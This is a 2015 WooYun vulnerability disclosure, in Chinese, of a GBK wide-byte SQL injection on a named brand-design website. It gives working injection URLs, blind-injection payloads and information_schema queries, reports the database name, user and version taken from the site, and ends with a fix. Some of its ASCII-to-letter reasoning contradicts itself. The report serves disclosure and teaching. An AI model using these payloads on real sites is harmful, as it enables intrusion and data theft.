当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0102245

漏洞标题:某品牌设计网站sql盲注

相关厂商:亚洲CI网

漏洞作者: 3ky7in4

提交时间:2015-03-19 16:33

修复时间:2015-05-03 16:34

公开时间:2015-05-03 16:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-05-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

后端数据库字符集为gbk,网站过滤时是使用addslashes这种方法,'将会变成\'。当%df遇到了遇到\的时候,会吃掉\,导致过滤失败!闭合的时候采用#这个符号,但因为在url中,所以使用url编码过的#,也就是%23

详细说明:

注入点:http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6.html
当查看网站的时候,发现品牌两个字对应的url有点特别。
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6.html

4 (2).png


将其按照gbk进行解码得“品牌”这两个字,

2.PNG


也就说这里是按照菜单栏上的汉字进行查询的。
这里测试一下
1、加上单引号的时候,发现返回页面结果变化了。也就是我们的输入对其查询产生影响

12.PNG


2、根据上面分析url,我们可以猜测数据库的字符集是使用gbk的,这时候尝试宽字节注入。此时url变成这样。
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df'.html
此时,mysql报错,也就说明宽字节注入有效。%df吃掉了\

13.PNG


3、先尝试"--+",发现“--”被过滤成“==”。改变注释方法
4、尝试“%23”,也就是“#”。此时url变成这样
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df'%23.html
页面不再报错了,返回页面没有任何公司信息。说明查询结果为空

15.PNG


5、进行bool调整,加上" or 1=1",此时返回所有结果。

3.PNG


我们加上limit 1限定一下

4.PNG


此时变成了
http://www.asiaci.com/brandindex.php/designlist/dclass-%C6%B7%C5%C6%df' or 1=1 limit 1%23.html
6、进行order by 分析,无法得出结果
7、发现这个参数在一个页面内用于多次查询。右边侧边栏查询了一次,正文查询了一次,所以不知道列数。
可以看到当union到16列的时候是一种查询。

more2.PNG


union到17列又是一种查询

more1.PNG


可以看出即使union select的列数符合一个表,但是无法符合别的表。
8、没办法了,只能利用bool盲注了
9、构造了几个payload,查询当前数据库长度,以及名字
长度:" or length(database())=$j"
名字:" or ascii(lower(substring(database(),$j,1)))<110"
名字采用二分法,很快可以注出来。
对于当前用户只需将database()改成user()即可
10、下面到了管理表,构造原始sql语句,查询类似管理表的数目
or (select count(1) from information_schema.tables where table_name like '%admin%')>2
但是因为单引号被过滤了,可以采用十六进制或者char()函数。这里使用char()函数
or (select count(1) from information_schema.tables where table_name like CHAR(37, 97, 100, 109, 105, 110, 37))>2
11、盲注表名
or ascii(substring((select table_name from information_schema.tables where table_name like CHAR(37, 97, 100, 109, 105, 110, 37) limit 1),1,1))<110

漏洞证明:

一、漏洞判断
当" or 1=1 limit 1"时返回品牌信息

4.PNG


当" or 1=2"时发现页面和1=1不一样,漏洞存在

5.PNG


二、漏洞利用
1、注入当前数据库长度

6.PNG


2、注入当前数据库名
首字母的ascii值小于116

8.PNG


首字母的ascii值大于或等于110

7.PNG


首字母的acii值等于110,也就是c

9.PNG


最终获得当前数据库名字:newci
3、注入当前用户长度
获得当前用户名为:kormen@localhost
4、注入数据库版本信息
5.1.7
5、注入管理表
管理表首字母ascii值小于110

10.PNG


管理表首字母ascii值小于100

11.PNG


得出首字母为c
一次类推即可。第一个管理表长度为16,爆了前面四个字母
cise
PS:
1、之前一开始的是数字类型注入,那时没有一下子进行测试,只测试一部分。之后网站管理人员应该注意到测试引起的页面错误。对数字型进行检测了
2、然后我才根据之前的结果尝试宽字节的,往后会偶尔帮你们测试的了!

修复方案:

#使用mysql_set_charset这个函数会在mysql_real_escape_string这个函数过滤的时候,设置其编码为gbk,这样便可以过滤掉%df
mysql_set_charset('gbk');
$areapro = mysql_real_escape_string($_GET['xx']);

版权声明:转载请注明来源 3ky7in4@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝